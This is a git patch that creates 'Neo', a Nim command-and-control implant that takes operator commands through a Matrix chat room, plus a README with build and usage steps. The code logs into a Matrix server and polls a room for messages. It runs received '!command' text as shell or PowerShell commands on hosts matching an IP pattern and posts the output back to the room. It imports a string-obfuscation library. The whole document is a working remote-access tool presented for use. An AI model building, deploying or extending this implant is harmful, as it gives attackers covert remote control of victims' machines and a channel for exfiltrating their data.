From 1f993e551f871064d9fd6400eafc46b80b5c2b13 Mon Sep 17 00:00:00 2001 From: connorgadbois Date: Tue, 17 Mar 2026 00:16:14 -0500 Subject: [PATCH] Initial commit --- README.md | 34 ++++++++++ src/main.nim | 172 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 206 insertions(+) create mode 100644 README.md create mode 100644 src/main.nim diff --git a/README.md b/README.md new file mode 100644 index 0000000..f5bd939 --- /dev/null +++ b/README.md @@ -0,0 +1,34 @@ +# Neo +A simple C2 for [Matrix](https://matrix.org/) homeservers, inspired by [DiscordGo](https://github.com/emmaunel/DiscordGo) + +## Setup +You'll need an account on a Matrix server to use for the bot. + +In `src/main.nim`, modify the config values with your account and server. + +Example config: +```nim +const + username: string = "neo" + password: string = "password123" + server: string = "matrix.org" + roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org" +``` + +## Building +If it isn't already installed you'll need to install [Nim](https://nim-lang.org/install.html). +```bash +# Install dependencies +nimble install strenc + +# Compile (outputs to ./neo) +nim c -d:ssl -d:release -o:neo src/main +``` + +## Bot Usage +Commands: + - `!ping {ip pattern}` + - `!command {ip pattern} {command}` + - `!kill {ip pattern}` + +IP pattern example: `10.1.*.4` \ No newline at end of file diff --git a/src/main.nim b/src/main.nim new file mode 100644 index 0000000..3c57710 --- /dev/null +++ b/src/main.nim @@ -0,0 +1,172 @@ +import httpClient +import json +import os +import osproc +import strutils +import net +import strenc + +# Config values +const + username: string = "" + password: string = "" + server: string = "" + roomId: string = "" + +var token: string +var nextBatch: string +var ip: string = $getPrimaryIPAddr() +var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000 + +proc matchIp(ip, pattern: string): bool = + let ipParts = ip.split('.') + let patternParts = pattern.split('.') + + if ipParts.len != 4 or patternParts.len != 4: + return false + + for i in 0..<4: + if patternParts[i] == "*": + continue + if ipParts[i] != patternParts[i]: + return false + + return true + +proc login(client: HttpClient): string = + var payload: JsonNode = %*{ + "identifier": { + "type": "m.id.user", + "user": username + }, + "initial_device_display_name": "Neo Bot", + "password": password, + "type": "m.login.password" + } + + var response = client.postContent("https://" & server & "/_matrix/client/v3/login", $payload) + client.close() + + var data = parseJson(response) + return data["access_token"].getStr() + +proc initBatch(client: HttpClient): void = + var url = "https://" & server & "/_matrix/client/v3/sync" + + var response = client.getContent(url) + client.close() + + var data = parseJson(response) + nextBatch = data["next_batch"].getStr() + +proc syncMessages(client: HttpClient): seq[string] = + var messages: seq[string] + + var response = client.getContent("https://" & server & "/_matrix/client/v3/sync" & "?since=" & nextBatch) + client.close() + + var data = parseJson(response) + nextBatch = data["next_batch"].getStr() + + if data["rooms"]["join"].len > 0: + for roomId, room in data["rooms"]["join"].pairs: + if roomId == roomId: + if not room.hasKey("timeline"): + break # There are no new messages + + for event in room["timeline"]["events"]: + if event.hasKey("content"): + if event["content"].hasKey("msgtype"): + if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server: + messages.add(event["content"]["body"].getStr()) + + return messages + +proc sendMessage(client: HttpClient, message: string): void = + try: + var payload: JsonNode = %*{ + "body": "", + "msgtype": "m.text", + "format": "org.matrix.custom.html", + "formatted_body": "" & ip & " " & message + } + + discard client.putContent("https://" & server & "/_matrix/client/v3/rooms/" & roomId & "/send/m.room.message/" & $transactionId, $payload) + client.close() + + transactionId += 1 + + except: + discard + +proc main(): void = + var client: HttpClient = newHttpClient() + + # Login loop + var fails: int = 0 + while token == "": + try: + token = login(client) + except: + fails += 1 + + if fails == 5: + quit() + + sleep(60000) + + client.headers = newHttpHeaders({ + "Authorization": "Bearer " & token + }) + + initBatch(client) + + # Command loop + var messages: seq[string] + while true: + try: + messages = syncMessages(client) + except: + discard + + for message in messages: + try: + var splitMessage: seq[string] = message.split(" ") + + if splitMessage.len >= 1: + # Ping + if splitMessage[0] == "!ping": + if splitMessage.len >= 2: + if matchIp(ip, splitMessage[1]): + sendMessage(client, "Pong!") + + sendMessage(client, "Pong!") + + # Command + if splitMessage[0] == "!command" and splitMessage.len >= 3: + if matchIp(ip, splitMessage[1]): + var commandOutput: string + + try: + if defined(windows): + (commandOutput, _) = execCmdEx("powershell -c " & splitMessage[2..^1].join(" ")) + else: + (commandOutput, _) = execCmdEx(splitMessage[2..^1].join(" ")) + + sendMessage(client, "Command Result:
" & commandOutput & "
") + + except: + sendMessage(client, "Failed to run command
" & splitMessage[2..^1].join("") & "
") + + # Kill + if splitMessage[0] == "!kill" and splitMessage.len >= 2: + if matchIp(ip, splitMessage[1]): + quit() + + except: + discard + + sleep(1000) + +if isMainModule: + main()